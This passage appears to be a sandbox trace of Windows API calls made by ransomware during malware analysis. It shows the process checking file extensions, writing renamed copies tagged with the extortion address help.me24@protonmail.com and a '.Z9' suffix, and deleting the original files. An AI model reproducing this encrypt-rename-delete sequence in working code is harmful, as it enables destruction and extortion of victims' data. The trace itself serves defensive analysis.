	[0186.104] lstrlenW (lpString=".doc") returned 4
	[0186.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.104] lstrlenW (lpString=".docx") returned 5
	[0186.104] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0186.104] lstrlenW (lpString=".pdf") returned 4
	[0186.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.104] lstrlenW (lpString=".xls") returned 4
	[0186.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.104] lstrlenW (lpString=".xlsx") returned 5
	[0186.105] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0186.105] lstrlenW (lpString=".ppt") returned 4
	[0186.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.105] lstrlenW (lpString=".zip") returned 4
	[0186.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.105] lstrlenW (lpString=".rar") returned 4
	[0186.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.105] lstrlenW (lpString=".bz2") returned 4
	[0186.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.105] lstrlenW (lpString=".7z") returned 3
	[0186.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.105] lstrlenW (lpString=".dbf") returned 4
	[0186.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.105] lstrlenW (lpString=".1cd") returned 4
	[0186.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.105] lstrlenW (lpString=".jpg") returned 4
	[0186.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.105] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.105] lstrlenW (lpString="J0153093.WMF") returned 12
	[0186.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0186.107] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=8880) returned 1
	[0186.107] CloseHandle (hObject=0x414) returned 1
	[0186.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 0x220
	[0186.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0186.108] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.108] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0186.109] GetLastError () returned 0x0
	[0186.110] ReadFile (in: hFile=0x414, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x22b0, lpOverlapped=0x0) returned 1
	[0186.112] WriteFile (in: hFile=0x424, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x22c0, lpOverlapped=0x0) returned 1
	[0186.122] ReadFile (in: hFile=0x414, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.122] WriteFile (in: hFile=0x424, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.122] SetEndOfFile (hFile=0x424) returned 1
	[0186.123] CloseHandle (hObject=0x424) returned 1
	[0186.123] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.123] SetEndOfFile (hFile=0x414) returned 1
	[0186.127] CloseHandle (hObject=0x414) returned 1
	[0186.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 1
	[0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.303] lstrlenW (lpString=".doc") returned 4
	[0186.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.303] lstrlenW (lpString=".docx") returned 5
	[0186.303] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0186.303] lstrlenW (lpString=".pdf") returned 4
	[0186.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString=".xls") returned 4
	[0186.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.304] lstrlenW (lpString=".xlsx") returned 5
	[0186.304] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0186.304] lstrlenW (lpString=".ppt") returned 4
	[0186.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.304] lstrlenW (lpString=".zip") returned 4
	[0186.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.304] lstrlenW (lpString=".rar") returned 4
	[0186.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString=".bz2") returned 4
	[0186.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString=".7z") returned 3
	[0186.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.304] lstrlenW (lpString=".dbf") returned 4
	[0186.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.304] lstrlenW (lpString=".1cd") returned 4
	[0186.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.304] lstrlenW (lpString=".jpg") returned 4
	[0186.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.304] lstrlenW (lpString=".doc") returned 4
	[0186.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString=".docx") returned 5
	[0186.304] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0186.304] lstrlenW (lpString=".pdf") returned 4
	[0186.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.304] lstrlenW (lpString=".xls") returned 4
	[0186.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.305] lstrlenW (lpString=".xlsx") returned 5
	[0186.305] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0186.305] lstrlenW (lpString=".ppt") returned 4
	[0186.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.305] lstrlenW (lpString=".zip") returned 4
	[0186.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.305] lstrlenW (lpString=".rar") returned 4
	[0186.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.305] lstrlenW (lpString=".bz2") returned 4
	[0186.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.305] lstrlenW (lpString=".7z") returned 3
	[0186.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.305] lstrlenW (lpString=".dbf") returned 4
	[0186.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.305] lstrlenW (lpString=".1cd") returned 4
	[0186.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0186.305] lstrlenW (lpString=".jpg") returned 4
	[0186.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.305] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.305] lstrlenW (lpString="J0153299.WMF") returned 12
	[0186.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0188.249] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=36620) returned 1
	[0188.249] CloseHandle (hObject=0x384) returned 1
	[0188.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 0x220
	[0188.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0188.320] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.320] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0188.321] GetLastError () returned 0x0
	[0188.321] ReadFile (in: hFile=0x444, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x8f0c, lpOverlapped=0x0) returned 1
	[0188.350] WriteFile (in: hFile=0x30c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x8f10, lpOverlapped=0x0) returned 1
	[0188.351] ReadFile (in: hFile=0x444, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.351] WriteFile (in: hFile=0x30c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.351] SetEndOfFile (hFile=0x30c) returned 1
	[0188.352] CloseHandle (hObject=0x30c) returned 1
	[0188.352] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.352] SetEndOfFile (hFile=0x444) returned 1
	[0188.356] CloseHandle (hObject=0x444) returned 1
	[0188.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 1
	[0188.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.357] lstrlenW (lpString=".doc") returned 4
	[0188.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.357] lstrlenW (lpString=".docx") returned 5
	[0188.357] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0188.357] lstrlenW (lpString=".pdf") returned 4
	[0188.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.357] lstrlenW (lpString=".xls") returned 4
	[0188.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.357] lstrlenW (lpString=".xlsx") returned 5
	[0188.357] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0188.357] lstrlenW (lpString=".ppt") returned 4
	[0188.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.357] lstrlenW (lpString=".zip") returned 4
	[0188.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.357] lstrlenW (lpString=".rar") returned 4
	[0188.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString=".bz2") returned 4
	[0188.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString=".7z") returned 3
	[0188.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.358] lstrlenW (lpString=".dbf") returned 4
	[0188.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.358] lstrlenW (lpString=".1cd") returned 4
	[0188.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.358] lstrlenW (lpString=".jpg") returned 4
	[0188.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.358] lstrlenW (lpString=".doc") returned 4
	[0188.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString=".docx") returned 5
	[0188.358] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0188.358] lstrlenW (lpString=".pdf") returned 4
	[0188.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString=".xls") returned 4
	[0188.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.358] lstrlenW (lpString=".xlsx") returned 5
	[0188.358] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0188.358] lstrlenW (lpString=".ppt") returned 4
	[0188.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.358] lstrlenW (lpString=".zip") returned 4
	[0188.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.358] lstrlenW (lpString=".rar") returned 4
	[0188.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.358] lstrlenW (lpString=".bz2") returned 4
	[0188.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.359] lstrlenW (lpString=".7z") returned 3
	[0188.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.359] lstrlenW (lpString=".dbf") returned 4
	[0188.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.359] lstrlenW (lpString=".1cd") returned 4
	[0188.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68
	[0188.359] lstrlenW (lpString=".jpg") returned 4
	[0188.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.359] lstrlenW (lpString=".id-") returned 4
	[0188.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fef8 | out: hHeap=0x710000) returned 1
	[0188.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad838 | out: hHeap=0x710000) returned 1
	[0188.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7d0bc0 | out: hHeap=0x710000) returned 1
	[0188.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7e0bc8 | out: hHeap=0x710000) returned 1
	[0188.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3739020 | out: hHeap=0x710000) returned 1
	[0188.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fc70 | out: hHeap=0x710000) returned 1
	[0188.365] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068d48
	[0188.365] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068d48, Size=0x20) returned 0x3929fc0
	[0188.365] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068d48
	[0188.365] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068d48, Size=0x20) returned 0x3929fe8
	[0188.365] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.365] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.365] Wow64DisableWow64FsRedirection (in: OldValue=0x2aaff50 | out: OldValue=0x2aaff50*=0x1) returned 1
	[0188.365] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1
	[0188.365] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fc0 | out: hHeap=0x710000) returned 1

Thread:
	id = 39
	os_tid = 0xd84

	[0159.312] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x7f14b0
	[0159.312] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3840048
	[0159.313] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ff10
	[0159.313] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ad858
	[0159.313] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fd90
	[0159.313] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3949020
	[0159.315] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fdd8
	[0159.315] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fdd8, Size=0x20) returned 0x74f378
	[0159.316] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ff28
	[0159.316] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76ff28, Size=0x20) returned 0x74f3f0
	[0159.316] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.316] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.316] Wow64DisableWow64FsRedirection (in: OldValue=0x2beff50 | out: OldValue=0x2beff50*=0x0) returned 1
	[0159.316] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f378 | out: hHeap=0x710000) returned 1
	[0159.316] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f3f0 | out: hHeap=0x710000) returned 1
	[0159.316] Sleep (dwMilliseconds=0x64) 
	[0159.631] lstrcmpiW (lpString1=".ini", lpString2=".Z9") returned -1
	[0159.631] lstrlenW (lpString="desktop.ini") returned 11
	[0159.631] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0159.631] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=129) returned 1
	[0159.632] CloseHandle (hObject=0x324) returned 1
	[0159.632] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0159.632] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[help.me24@protonmail.com].z9")) returned 0x26
	[0159.632] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.632] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.632] lstrlenW (lpString=".doc") returned 4
	[0159.633] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0159.633] lstrlenW (lpString=".docx") returned 5
	[0159.633] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0159.633] lstrlenW (lpString=".pdf") returned 4
	[0159.633] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0159.633] lstrlenW (lpString=".xls") returned 4
	[0159.633] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0159.633] lstrlenW (lpString=".xlsx") returned 5
	[0159.633] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0159.633] lstrlenW (lpString=".ppt") returned 4
	[0159.633] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0159.633] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.633] lstrlenW (lpString=".zip") returned 4
	[0159.633] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0159.633] lstrlenW (lpString=".rar") returned 4
	[0159.633] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0159.633] lstrlenW (lpString=".bz2") returned 4
	[0159.633] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0159.633] lstrlenW (lpString=".7z") returned 3
	[0159.633] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0159.633] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.633] lstrlenW (lpString=".dbf") returned 4
	[0159.633] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0159.633] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.633] lstrlenW (lpString=".1cd") returned 4
	[0159.633] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
